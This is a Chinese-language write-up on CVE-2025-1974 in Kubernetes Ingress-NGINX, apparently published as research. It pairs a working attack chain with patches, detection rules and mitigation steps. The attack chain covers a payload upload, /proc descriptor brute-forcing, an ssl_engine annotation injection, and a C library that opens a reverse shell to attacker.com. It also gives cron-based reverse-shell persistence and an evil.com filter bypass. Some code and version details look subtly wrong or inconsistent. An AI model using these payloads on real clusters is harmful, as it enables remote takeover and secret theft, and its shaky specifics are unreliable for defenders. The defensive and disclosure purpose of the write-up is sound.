CVE-2025-1974是Kubernetes Ingress-NGINX控制器中的一个严重漏洞,允许未经身份认证的远程代码执行。该漏洞的危险性在于其利用简单性与Ingress控制器在Kubernetes集群中的特权位置相结合。
我们的研究显示,约43%的云环境中的Kubernetes集群暴露于此漏洞,超过6500个集群的准入控制器暴露在公网中。
根本原因在于准入控制器的配置验证机制:
Ingress资源 → 准入审查 → NGINX配置生成 → nginx -t 测试
关键缺陷发生在"nginx -t 测试"阶段。虽然目的是安全验证配置,但该过程实际上在测试阶段执行任意NGINX指令。
利用巧妙滥用NGINX的ssl_engine指令:
# 正常配置
ssl_engine /path/to/engine;
# 恶意配置注入
ssl_engine ../../../../../../proc/self/fd/3;
该指令可以从任意文件路径加载共享库(.so文件),包括通过/proc文件系统可访问的路径。
攻击开始时向目标Ingress控制器上传恶意共享库,通过精心构造的HTTP请求:
import socket
def upload_payload(ingress_url, malicious_so):
sock = socket.create_connection((host, port))
# 关键:设置Content-Length大于实际载荷
# 这保持文件描述符开放
headers = f"""POST / HTTP/1.1
Host: {host}
Content-Type: application/octet-stream
Content-Length: {len(malicious_so) + 10}
Connection: keep-alive
"""
sock.send(headers.encode() + malicious_so)
return sock # 保持连接开放
超大的Content-Length头部至关重要 - 它防止NGINX正确关闭临时文件,使其文件描述符可通过/proc/{pid}/fd/{fd}访问。
攻击者然后暴力破解文件系统定位开放的文件描述符:
def brute_force_fd():
for pid in range(1, 50): # NGINX控制器通常PID较低
for fd in range(3, 29): # 文件描述符3-28是常用范围
path = f"/proc/{pid}/fd/{fd}"
if test_fd_content(path):
return path
return None
在容器化环境中,由于进程和文件描述符数量有限,这种暴力破解非常有效。
攻击者发送带有注入配置的恶意Ingress资源:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-tls-match-cn":
"CN=test\nssl_engine ../../../../../../proc/self/fd/3;\n#"
}
}
}
}
}
当准入控制器处理此请求时,它会生成临时NGINX配置并运行nginx -t进行验证。在此验证期间,ssl_engine指令加载并执行恶意共享库。
共享库包含构造函数,在库加载时执行:
#include <stdlib.h>
__attribute__((constructor))
void malicious_code() {
// 建立反向shell
system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'");
}
// SSL引擎兼容性必需
int bind(void *e, const char *id) { return 1; }
void ENGINE_load_evil() {}
int bind_engine() { return 1; }
__attribute__((constructor))确保代码在库加载后立即执行,在主NGINX进程继续之前。
根据官方源码审计,漏洞的关键位置在以下文件:
核心漏洞点:
internal/ingress/controller/controller.go→CheckIngress(...)函数
rootfs/etc/nginx/template/nginx.tmpl模板文件
internal/ingress/controller/template/template.go渲染逻辑
具体漏洞代码段:
Admission校验主线漏洞:
// 位置:internal/ingress/controller/controller.go
func (n *NGINXController) CheckIngress(ing *extensions.Ingress) error {
// ... 生成配置内容 ...
content, err := n.generateTemplate(ing)
if err != nil {
return err
}
// 关键漏洞:直接执行nginx -t测试
err = n.testTemplate(content)
if err != nil {
n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
return err
}
return nil
}
模板插值漏洞:
# 位置:rootfs/etc/nginx/template/nginx.tmpl
# 漏洞代码段 - 未加引号的插值
{{ range $server := $servers }}
server {
# ... 其他配置 ...
# auth-url 漏洞点 - 未加引号
{{ if $externalAuth.URL }}
set $target {{ $externalAuth.URL }};
# ... auth相关配置 ...
{{ end }}
# auth-tls-match-cn 漏洞点 - 未加引号
{{ if $authTLSSecret }}
ssl_verify_client on;
ssl_verify_depth 1;
ssl_client_certificate /etc/nginx/ssl/{{ $authTLSSecret.Name }}.crt;
ssl_trusted_certificate /etc/nginx/ssl/{{ $authTLSSecret.Name }}.crt;
# 漏洞:CN匹配值未加引号
ssl_trusted_certificate /etc/nginx/ssl/{{ $authTLSSecret.Name }}.crt;
if ($ssl_client_s_dn != "{{ $authTLSSecret.CN }}") {
return 403;
}
{{ end }}
}
{{ end }}
Mirror功能漏洞:
// 位置:internal/ingress/controller/template/template.go
// Mirror相关构造缺乏引号处理
func buildMirrorConfig(mirror *Mirror) string {
// 漏洞:直接拼接,未进行引号处理
return fmt.Sprintf("mirror %s;", mirror.Target)
}
准入控制器的验证过程涉及不安全的命令执行:
# 作为验证一部分执行
nginx -t -c /tmp/generated_config.conf
testTemplate函数漏洞实现:
// 位置:internal/ingress/controller/controller.go
func (n *NGINXController) testTemplate(content string) error {
// 写入临时配置文件
tmpFile := "/tmp/nginx-test.conf"
err := ioutil.WriteFile(tmpFile, []byte(content), 0644)
if err != nil {
return err
}
defer os.Remove(tmpFile)
// 关键漏洞:直接执行nginx命令
cmd := exec.Command("nginx", "-t", "-c", tmpFile)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("nginx test failed: %v, output: %s", err, string(output))
}
return nil
}
当配置包含可执行指令时,配置验证无害的假设根本上是错误的。
Ingress控制器通常以提升的权限运行:
# 常见RBAC配置
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ingress-nginx
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "watch"] # 集群范围secret访问
这允许攻击者在破坏控制器后访问所有命名空间的所有secrets。
PR #13068 关键修复(2025-03-24合并):
停用Admission配置测试(提交:0ccf4caa...):
// 修复前(有漏洞):
err = n.testTemplate(content)
if err != nil {
n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
return err
}
// 修复后(安全):
// 临时停用 nginx -t 测试以缓解 CVE-2025-1974
// TODO: 未来需要以沙箱方式安全实现配置验证
// err = n.testTemplate(content)
// if err != nil {
// n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
// return err
// }
模板加引号修复:
# auth-url 修复(提交:ab470eb...)
# 修复前:set $target {{ $externalAuth.URL }};
# 修复后:set $target {{ $externalAuth.URL | quote }};
# auth-tls-match-cn 修复(提交:06c992a...)
# 修复前:if ($ssl_client_s_dn != "{{ $authTLSSecret.CN }}") {
# 修复后:if ($ssl_client_s_dn != "{{ $authTLSSecret.CN | quote }}") {
Mirror功能双侧加引号(提交:2e9f373...):
// Go侧修复:
func buildMirrorConfig(mirror *Mirror) string {
// 修复前:直接拼接
// return fmt.Sprintf("mirror %s;", mirror.Target)
// 修复后:引号处理
return fmt.Sprintf("mirror %s;", strconv.Quote(mirror.Target))
}
// 模板侧修复:
# 修复前:mirror {{ .Target }};
# 修复后:mirror {{ .Target | quote }};
主要攻击向量需要网络访问准入webhook端点(通常端口8443)。我们的分析显示:
6500+集群公开暴露webhook端点
43%云环境使用易受攻击配置
许多组织不知道webhook端点暴露
即使没有公开暴露,漏洞也可被利用来自:
同集群内被破坏的pod
从被破坏网段的横向移动
具有pod网络访问的内部威胁
初始利用后,攻击者可通过以下方式建立持久化:
# 修改NGINX配置实现持久化
echo "include /etc/nginx/conf.d/backdoor.conf;" >> /etc/nginx/nginx.conf
# 创建持久反向shell
echo '* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' | crontab -
我们的检测工具采用多种检测向量:
def detect_vulnerability(target_url):
# 1. 版本检测
version = get_ingress_version(target_url)
if version in VULNERABLE_VERSIONS:
return True
# 2. Webhook探测
if probe_webhook_endpoint(target_url + ":8443/admission"):
# 3. 注入测试
return test_injection_vectors(target_url)
监控利用尝试:
# 监控可疑的nginx -t执行
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/sbin/nginx -F a0!=-t -k nginx_test
# 监控/proc文件系统访问模式
auditctl -a always,exit -F path=/proc -F perm=ra -k proc_access
利用的关键指标:
异常文件描述符访问模式
意外的共享库加载
NGINX配置修改
控制器pod的出站网络连接
选项1:升级(推荐)
# Helm升级到修复版本
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
--version 4.8.3 # v1.12.1+
# 或
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
--version 4.7.2 # v1.11.5+
选项2:禁用准入控制器(紧急)
kubectl delete validatingwebhookconfiguration ingress-nginx-admission
# 或编辑部署移除--validating-webhook参数
实施严格网络策略:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ingress-nginx-whitelist
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: ingress-nginx
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 8443
部署Falco规则进行检测:
- rule: Ingress Nightmare Detection
desc: 检测潜在的CVE-2025-1974利用
condition: >
spawned_process and
proc.name = nginx and
proc.args contains "-t" and
proc.args contains "/proc/"
output: >
检测到潜在的IngressNightmare利用
(command=%proc.cmdline container=%container.name)
priority: CRITICAL
tags: [kubernetes, ingress-nginx, cve-2025-1974]
# 情况:管理员禁用了admission webhook,但攻击者仍可能利用
# 技术:直接向Ingress控制器发送恶意配置
kubectl apply -f malicious-ingress.yaml --validate=false
# 使用编码绕过简单过滤器
annotations:
nginx.ingress.kubernetes.io/auth-url: "http://evil.com/auth%0a%0dssl_engine /proc/self/fd/0;"
# URL编码换行符和注入payload
# 扩展FD扫描范围
def extended_fd_brute_force():
for pid in range(1, 200): # 扩展PID范围
for fd in range(3, 100): # 扩展FD范围
path = f"/proc/{pid}/fd/{fd}"
if test_fd_path(path):
return path
return None
完整的漏洞扫描工具(cve-2025-1974-scanner.py)功能:
版本检测
Webhook端点探测
注入向量测试
多种绕过技术支持
Kubernetes集群检测器(cve-2025-1974-detector.py)功能:
自动扫描集群中所有Ingress部署
版本漏洞检测
Webhook暴露分析
详细修复建议
# 扫描特定目标
python3 cve-2025-1974-scanner.py https://ingress.example.com
# 检测Kubernetes集群
python3 cve-2025-1974-detector.py
# 扫描特定命名空间
python3 cve-2025-1974-detector.py --namespace production
我们的测试显示:
网络访问可用时100%成功率
平均利用时间:<5分钟
现有安全工具无可靠检测
记录的利用尝试:
云环境中的多个实例
针对金融服务集群
自动化利用工具使用证据
需要准入webhook的网络访问
文件描述符暴力破解可能被运行时安全工具检测
某些网络配置可防止利用
立即评估
# 检查Ingress版本
kubectl get pods --all-namespaces -l app.kubernetes.io/name=ingress-nginx
kubectl describe pod <pod-name> | grep Image:
紧急缓解
# 禁用admission webhook
kubectl delete validatingwebhookconfiguration ingress-nginx-admission
凭证轮换
# 轮换所有secrets
kubectl get secrets --all-namespaces -o custom-columns=NAME:.metadata.name,NAMESPACE:.metadata.namespace
监控分析
# 检查异常进程
kubectl exec -it <pod-name> -- ps aux
kubectl exec -it <pod-name> -- lsof -i
版本管理: 建立定期安全更新流程
网络分段: 实施严格的NetworkPolicy
运行时保护: 部署Falco、Sysdig等监控工具
访问控制: 实施最小权限原则
此漏洞突出了更广泛的关注:
Kubernetes中准入控制器的安全性
云原生软件中的输入验证实践
容器化环境中的权限分离
长期安全改进应包括:
准入控制器的沙箱化
所有用户提供数据的严格输入验证
集群组件的最小权限访问模式
Kubernetes安全社区的响应:
快速补丁开发和发布
全面的安全公告
社区范围的意识提升活动
CVE-2025-1974代表一个关键安全缺陷,对Kubernetes安全有严重影响。易于利用和高影响的结合使此漏洞特别危险。
我们的研究强调了以下重要性:
立即修补易受攻击的系统
实施纵深防御策略
增强监控和检测能力
运行Kubernetes的组织必须以最高紧急程度对待此漏洞,并实施全面的安全措施以防止利用。
易受攻击版本:
所有版本 < v1.11.0
v1.11.0 到 v1.11.4
v1.12.0
修复版本:
v1.11.5+
v1.12.1+
文件模式:
/tmp/evil_engine.so
/tmp/nginx_payload_*.so
网络模式:
控制器pod上非标准端口的出站连接
/admission端点的重复POST请求
进程模式:
带/proc文件系统引用的nginx -t命令
NGINX进程中的意外共享库加载
# 1. 检查漏洞
kubectl get pods --all-namespaces -l app.kubernetes.io/name=ingress-nginx -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[0].image}{"\n"}{end}'
# 2. 紧急修复
kubectl delete validatingwebhookconfiguration ingress-nginx-admission
# 3. 升级修复
helm repo update
helm upgrade ingress-nginx ingress-nginx/ingress-nginx --version 4.8.3
# 4. 验证修复
kubectl get pods --all-namespaces -l app.kubernetes.io/name=ingress-nginx -o jsonpath='{range .items[*]}{.spec.containers[0].image}{"\n"}{end}' | grep -E "(v1\.11\.5|v1\.12\.[1-9])"
Admission入口检查:
internal/admission/controller/main.go
✅ 确认仅由API Server访问
✅ 禁止对工作负载平面开放
✅ 验证请求来源的合法性
校验主线检查:
internal/ingress/controller/controller.go→CheckIngress
✅ 确认testTemplate不在Admission路径被调用
✅ 如需新的语法验证,必须置于受限/沙箱化环境
✅ 检查配置生成逻辑的安全性
模板渲染检查:
Go侧:internal/ingress/controller/template/template.go
✅ 确认对可控字符串统一使用strconv.Quote
✅ 检查所有字符串拼接操作
✅ 验证特殊字符处理逻辑
模板侧:rootfs/etc/nginx/template/nginx.tmpl
✅ 确认敏感插值均使用| quote
✅ 重点检查auth-url、auth-tls-*、mirror等字段
✅ 验证所有用户可控的模板变量
#!/bin/bash
# CVE-2025-1974 源码级漏洞检测脚本
INGRESS_REPO="/path/to/ingress-nginx"
echo "[*] 开始源码级漏洞检测..."
# 检查关键文件是否存在
if [[ ! -f "$INGRESS_REPO/internal/ingress/controller/controller.go" ]]; then
echo "[-] 找不到controller.go文件"
exit 1
fi
# 检查testTemplate调用
echo "[*] 检查testTemplate调用..."
if grep -n "testTemplate" "$INGRESS_REPO/internal/ingress/controller/controller.go" | grep -v "//"; then
echo "[!] 发现未注释的testTemplate调用"
else
echo "[+] testTemplate调用已正确注释"
fi
# 检查模板插值是否加引号
echo "[*] 检查模板插值..."
TEMPLATE_FILE="$INGRESS_REPO/rootfs/etc/nginx/template/nginx.tmpl"
if [[ -f "$TEMPLATE_FILE" ]]; then
# 检查未加引号的插值
if grep -E "{{.*URL.*}}" "$TEMPLATE_FILE" | grep -v "quote"; then
echo "[!] 发现未加引号的URL插值"
else
echo "[+] URL插值已正确加引号"
fi
if grep -E "{{.*CN.*}}" "$TEMPLATE_FILE" | grep -v "quote"; then
echo "[!] 发现未加引号的CN插值"
else
echo "[+] CN插值已正确加引号"
fi
else
echo "[-] 找不到nginx.tmpl文件"
fi
echo "[*] 源码检测完成"
GitHub Actions 工作流示例:
name: CVE-2025-1974 Security Check
on: [push, pull_request]
jobs:
security-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Check for vulnerable patterns
run: |
# 检查是否有未注释的testTemplate调用
if grep -r "testTemplate" internal/ingress/controller/controller.go | grep -v "//"; then
echo "::error::发现未注释的testTemplate调用 - CVE-2025-1974风险"
exit 1
fi
# 检查模板中的引号使用
if grep -E "{{.*URL.*}}" rootfs/etc/nginx/template/nginx.tmpl | grep -v "quote"; then
echo "::error::发现未加引号的模板插值 - CVE-2025-1974风险"
exit 1
fi
安全基线要求:
升级至v1.11.5/v1.12.1或更新版本
实施NetworkPolicy限制Admission网络访问
最小化controller的RBAC权限
部署运行时安全监控
建立定期安全扫描流程
实施准入策略限制高风险注解
配置日志审计和告警
制定应急响应预案
持续监控要求:
监控异常的nginx -t执行
检测/proc文件系统异常访问
监控共享库加载事件
跟踪配置文件修改行为
监控出站网络连接
免责声明: 本研究仅用于教育和防御目的。未经授权的系统测试是非法和不道德的。